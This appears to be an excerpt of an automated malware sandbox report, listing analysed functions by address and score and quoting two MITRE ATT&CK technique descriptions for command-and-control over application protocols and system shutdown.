Function 0040551C Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Function 00406259 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00402F81 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Function 00405AF7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Function 004023D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 004059B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
stringCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre